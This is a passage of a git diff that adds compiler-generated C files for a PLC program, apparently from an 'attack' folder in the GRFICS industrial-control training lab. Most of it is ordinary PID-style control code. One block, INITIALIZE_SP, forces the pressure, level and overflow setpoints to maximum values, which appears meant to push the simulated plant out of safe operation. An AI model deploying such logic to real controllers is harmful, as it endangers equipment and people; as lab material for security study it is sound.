0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + 